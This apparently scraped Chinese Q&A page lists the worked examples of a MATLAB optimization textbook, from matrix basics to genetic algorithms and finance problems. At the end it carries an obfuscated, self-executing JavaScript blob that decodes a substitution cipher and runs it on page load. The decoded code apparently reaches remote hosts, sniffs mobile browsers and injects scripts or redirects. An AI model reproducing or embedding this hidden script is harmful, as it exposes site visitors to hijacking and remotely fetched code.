精通MATLAB最优化计算的实 例 目 录

2025-03-06 02:21:33
推荐回答(1个)
回答1:

第2章 MATLAB计算基础
例2-1 元胞数组创建与显示实例。 20
例2-2 矩阵创建实例。 22
例2-3 特殊矩阵生成函数使用实例。 23
例2-4 矩阵基本运算实例。 24
例2-5 矩阵函数运算实例。 24
例2-6 矩阵分解运算函数使用实例。 25
例2-7 复数构造实例。 26
例2-8 复数矩阵构造实例。 26
例2-9 复数函数绘图实例。 27
例2-10 符号表达式创建实例。 29
例2-11 极限和极值的符号运算实例。 31
例2-12 微积分的符号运算实例。 31
例2-13 常微分方程符号运算实例。 32
第3章 MATLAB绘图基础
例3-1 工作空间直接做图法使用实例。 34
例3-2 二维图形绘制实例。 35
例3-3 三维曲线绘制函数使用实例。 38
例3-4 三维网格曲面图绘制应用实例。 38
例3-5 阴影曲面绘制函数surf使用实例。 39
例3-6 绘图命令使用实例。 41
第4章 MATLAB程序设计基础
例4-1 M文件创建实例。 46
例4-2 return语句使用实例。 49
例4-3 匿名函数创建实例。 51
例4-4 显示函数输入和输出参数的数目实例。 54
例4-5 可变数目的参数传递实例。 55
例4-6 函数内部的输入参数修改实例。 56
例4-7 函数参数传递实例。 56
例4-8 全局变量使用实例。 57
例4-9 函数句柄创建和调用实例。 58
例4-10 处理函数句柄的函数使用实例。 59
例4-11 嵌套计算与直接求值的比较实例。 69
例4-12 嵌套计算与非嵌套计算的比较实例。 70
例4-13 例外处理机制使用实例。 71
例4-14 nargin函数应用实例。 72
例4-15 全局变量使用实例。 73
例4-16 通过varargin传递参数的实例。 74
第5章 MATLAB优化工具箱
例5-1 fminunc求解器应用实例。 85
例5-2 fminsearch求解器应用实例。 86
例5-3 fmincon求解器应用实例。 88
例5-4 lsqnonlin求解器应用实例。 89
例5-5 linprog求解器应用实例。 90
例5-6 ga求解器应用实例。 91
第6章 无约束一维极值问题
例6-1 进退法求解极值区间实例。 95
例6-2 黄金分割法求解极值实例。 98
例6-3 斐波那契法求解极值实例。 101
例6-4 基本牛顿法求解极值实例。 104
例6-5 全局牛顿法求解极值实例。 106
例6-6 割线法求解极值实例。 109
例6-7 抛物线法求解极值实例。 111
例6-8 三次插值法求解极值实例。 114
例6-9 Goldstein法求解极值实例。 117
例6-10 Wolfe-Powell法求解极值实例。 119
例6-11 fminbnd函数求解极值实例1。 121
例6-12 fminbnd函数求解极值实例2。 122
例6-13 fminbnd函数求解极值实例3。 123
例6-14 fminbnd函数求解极值实例4。 123
例6-15 fminbnd函数求解极值实例5。 124
例6-16 fminsearch函数求解极值实例。 125
例6-17 改进的fminbnd函数求解极值实例1。 126
例6-18 改进的fminbnd函数求解极值实例2。 126
例6-19 改进的fminbnd函数求解极值实例3。 126
例6-20 改进的fminbnd函数求解极值实例4。 127
例6-21 maple函数求极小值实例1。 128
例6-22 maple函数求极小值实例2。 128
例6-23 maple函数求极小值实例3。 129
第7章 无约束多维极值问题
例7-1 模式搜索法求解无约束多维极值问题实例。 133
例7-2 Rosenbrock法求解无约束多维极值问题实例。 136
例7-3 单纯形搜索法求解无约束多维极值问题实例。 140
例7-4 Powell法求解无约束多维极值问题实例。 144
例7-5 最速下降法求解无约束多维极值问题实例。 146
例7-6 共轭梯度法求解无约束多维极值问题实例。 148
例7-7 牛顿法求解无约束多维极值问题实例。 150
例7-8 修正牛顿法求解无约束多维极值问题实例。 152
例7-9 DFP法求解无约束多维极值问题实例。 155
例7-10 BFGS法求解无约束多维极值问题实例。 157
例7-11 信赖域法求解无约束多维极值问题实例。 160
例7-12 显式最速下降法求正定二次函数极值的应用实例。 162
例7-13 fminsearch函数求解无约束多维极值问题实例1。 163
例7-14 fminsearch函数求解无约束多维极值问题实例2。 164
例7-15 fminsearch函数求解无约束多维极值问题实例3。 168
例7-16 fminunc函数求解无约束多维极值问题实例。 169
例7-17 fminimax函数求解无约束多维极值问题实例。 174
第8章 约束优化问题
例8-1 Rosen梯度投影法求解约束优化问题实例。 178
例8-2 外点罚函数法应用实例。 181
例8-3 通用罚函数法应用实例。 183
例8-4 外点混合罚函数法应用实例。 186
例8-5 内点罚函数法求解约束优化问题实例。 188
例8-6 混合罚函数法求解约束优化问题实例。 191
例8-7 加速混合罚函数法求解约束优化问题实例。 193
例8-8 乘子法求解约束优化问题实例。 195
例8-9 坐标轮换法求解约束优化问题实例。 199
例8-10 复合形法求解约束优化问题实例。 203
例8-11 fmincon函数求解约束优化问题实例。 205
第9章 非线性最小二乘优化问题
例9-1 G-N法求解非线性最小二乘优化问题实例。 209
例9-2 修正G-N法求解非线性最小二乘优化问题实例。 211
例9-3 L-M法求解非线性最小二乘优化问题实例。 214
例9-4 lsqnonlin求解非线性最小二乘优化问题实例。 216
第10章 线性规划
例10-1 单纯形法求解线性规划实例1。 221
例10-2 单纯形法求解线性规划实例2。 222
例10-3 修正单纯形法求解线性规划实例。 228
例10-4 大M法求解线性规划实例。 230
例10-5 变量有界单纯形法求解线性规划实例。 231
例10-6 linprog函数求解线性规划实例1。 234
例10-7 linprog函数求解线性规划实例2。 234
例10-8 linprog函数求解线性规划实例3。 235
例10-9 linprog函数求解线性规划实例4。 235
第11章 整数规划
例11-1 割平面法求解整数规划实例。 243
例11-2 分支定界法求解整数规划实例1。 248
例11-3 分支定界法求解整数规划实例2。 249
例11-4 0-1规划应用实例。 251
例11-5 bintprog函数求解0-1规划实例。 252
第12章 二次规划
例12-1 拉格朗日法求解二次规划实例。 255
例12-2 起作用集法求解二次规划实例。 259
例12-3 路径跟踪法求解二次规划实例。 263
例12-4 quadprog函数求解二次规划实例1。 265
例12-5 quadprog函数求解二次规划实例2。 265
第13章 粒子群优化算法
例13-1 基本粒子群算法应用实例。 273
例13-2 带压缩因子的粒子群算法应用实例。 278
例13-3 线性递减权重的粒子群算法应用实例。 281
例13-4 自适应权重的粒子群算法应用实例。 285
例13-5 随机权重的粒子群算法应用实例。 288
例13-6 同步变化的学习因子粒子群算法应用实例。 290
例13-7 同步变化的学习因子粒子群算法应用实例。 293
例13-8 二阶粒子群算法应用实例。 296
例13-9 二阶振荡粒子群算法应用实例。 299
例13-10 混沌粒子群算法应用实例。 302
例13-11 基于自然选择的粒子群算法应用实例。 305
例13-12 基于杂交的粒子群算法应用实例。 309
例13-13 基于模拟退火的粒子群算法应用实例。 312
第14章 遗传算法
例14-1 基本遗传算法应用实例。 317
例14-2 顺序选择遗传算法应用实例。 321
例14-3 适值函数标定的遗传算法应用实例。 324
例14-4 大变异遗传算法应用实例。 329
例14-5 自适应遗传算法应用实例。 333
例14-6 双切点交叉遗传算法应用实例。 336
例14-7 多变异位自适应遗传算法应用实例。 340
例14-8 优化工具的ga求解器应用实例1。 341
例14-9 优化工具的ga求解器应用实例2。 342
第15章 工程最优化问题实例
例15-1 生产任务分配问题应用实例1。 346
例15-2 生产任务分配问题应用实例2。 347
例15-3 运输问题应用实例。 350
例15-4 生产运输问题应用实例1。 354
例15-5 生产运输问题应用实例2。 357
例15-6 资源利用问题应用实例。 359
例15-7 下料问题应用实例。 361
例15-8 配套问题应用实例。 362
例15-9 有限选址问题应用实例。 364
例15-10 生产组织与计划问题应用实例。 365
例15-11 选址问题应用实例。 367
例15-12 销售利润最大化问题应用实例。 368
例15-13 库存问题应用实例1。 370
例15-14 库存问题应用实例2。 370
例15-15 库存问题应用实例3。 371
例15-16 最大体积问题应用实例。 372
例15-17 资源分配问题应用实例。 372
例15-18 和三角形有关的极值问题应用实例1。 373
例15-19 和三角形有关的极值问题应用实例2。 374
例15-20 点到曲线距离问题应用实例1。 375
例15-21 点到曲线距离问题应用实例2。 376
例15-22 点到曲线距离问题应用实例3。 377
例15-23 曲线到曲线距离问题应用实例。 379
第16章 经济金融最优化问题实例
例16-1 未考虑销售影响的利润最大化问题实例。 382
例16-2 考虑销售影响的利润最大化问题实例。 383
例16-3 最优消费问题应用实例。 384
例16-4 最优投资分配问题应用实例。 385
例16-5 资金最优使用问题实例。 387
例16-6 古诺竞争模型应用实例。 389
例16-7 斯塔克尔伯格模型应用实例。 390
例16-8 标准均值-方差投资组合应用实例。 392
例16-9 有上界的均值-方差投资组合应用实例。 393
例16-10 有交易成本的均值-方差投资组合应用实例。 394
例16-11 自融资均值-方差投资组合应用实例。 395

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();